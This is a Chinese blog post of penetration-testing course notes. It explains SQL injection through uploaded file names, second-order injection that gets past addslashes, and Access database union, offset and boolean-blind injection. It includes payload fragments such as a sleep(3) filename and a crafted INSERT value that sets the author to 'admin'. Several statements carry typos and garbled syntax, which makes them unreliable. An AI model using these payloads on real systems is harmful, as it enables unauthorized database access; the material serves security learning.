文件上传,二次注入 第三十五天

  1. 0x00 文件上传
    1. 利用的SQL语句
  2. 0x01 二次注入
    1. 二次注入原理
  3. 0x03 access注入
    1. access的偏移注入
    2. access的布尔盲注

0x00 文件上传

利用的SQL语句

update users set a = 'uploads/wss.gif' wnere uname 'abc';
或者
update users set a = 'uploads/wss'wnere id=1 and sleep(3)#.gif'

文件上传修改文件路径:
iploads/wss' where id = 1 and sleep(3)#.gif

0x01 二次注入

二次注入原理

    添加waf
    addslashes() 过滤宽字节 (addslashes()对单引号,双引号,反斜杠\,字符\x00(NULL)进行处理)

    mysql_real_escape_string() (不会转义%和_ , 但会转义:\x00,\n,\r,\,',",\x1a)

    注入语句原理:
    insert into user (username,password) value ('admin','1')

    在post的数据提交:
    $uname = $_POST['uname']

    $uname = $_POST['upass']

后注入:

    $uname = 'abc\''(会被addslashe给转义添加反斜杠)

    搜索原理:
    $result = select * from  user where username=''abc\'' and password='123';

    if(result==1){
        $_SESSION['uname'] =$result['uname']  或者 $_SESSION['uname']=$uname
        $_SESSION['id'] = $resuit['id']
    }

    $_SESSION['uname']='ABC\''

    $_SESSION['uname']='ABC\''

    登录成功之后,写留言

    $title = $_POST['title']
    $content=$_POST['content']
    $author=$_SESSION['uname']

    $result = insert into message (title,content,author,time) value($title,$content,$author,new())

    以author为带入点,填写数据,

    $result = insert into message (title,content,author,time) value($title,$content,'admin',1)#,new())

    前提的猜出来这个天交表单的书写形式,才能猜到这种方式

    $result = insert into message (title,content,author,time) value($title,$content,'admin',1)#,new())

    提到前面:

    $result = insert into message (title,content,author,time) value('admin',group_concat(','),1,1)'#$title,$content,1,1)#,new())

如果在注册时不做登录限制就可以在登录框内做sql语句构造
如下实例:
注册发现手机号处有注入

有长度限制,直接改然后burp抓提交包重放

手机框做了字符限制,故用16进制编写sql语句

基本探查发现是数字 然后order by 发现有1个 查询基本信息 version() 、 user()

联合查询 爆数据 先库名

发现web数据库
查询表

爆users表中列


0x03 access注入

    access数据库的测试注入点的过程与mysql一致,判断当前数据库的操作为数字型注入

区别是,mysql数据库做联合查询,不需要添加表名,而access和mssql数据库则需要知道一个表名;

    access/mssql: select  1,2,3,4,5 from `table_name` union select  1,2,3,4,5 from `table_name`

    mysql : select  1,2,3,4,5 from `table_name` union select  1,2,3,4,5

第二点、判断方式相似,order by可以用
Access:

    and (select count(*) from MSsAccessObjects)>0  返回正常说明是access

    and exists(select count(*) from 表)

sqlserver:

    and (select count(*) from sysobjects) >0 返回正常说明是mssql

mysql:
    and length(user())>0 返回正常说明是mysql
在mssql可调用substring,orcle则可调用substr

    access数据库与mysql数据不一样的地方,union 
select需要在后面添加表名,access的数据的不能直接
输出需要猜库名,表名,列明

    access是表格文件,而不是数据库文件,没有数据库的概念,
mysql语法不适合access,但注入点判断是相似的

    access只有布尔盲注,联合查询

    没有报错注入,延时盲注,堆叠查询

    猜测表的行数,布尔盲注
    and (select count(*) from user)>0

    and (select count(id) from user)>0

access可用函数len

不用函数:length、concat

access的偏移注入

    access偏移是适用于union联合查询中,根据后接表的字段的多少来判断是否使用此种方式。
此种方式针对知道表,但不知道字段的

知道表名,联合查询,找到输出位,union联合查询

查不到就用,偏移注入,如果后面的多于前面的,基本没戏

判断列数后在说,用哪种方法(但偏移,适用于联合查询)

access的布尔盲注

先以len判断长度

在用substring通过截取字符串来判断是否正确

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 zhumeng512@qq.com

文章标题:文件上传,二次注入 第三十五天

本文作者:弈少

发布时间:2019-09-03, 11:57:22

最后更新:2019-09-07, 14:38:00

原始链接:http://yoursite.com/2019/09/03/北京渗透测试第三十五天 20190903/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏

相册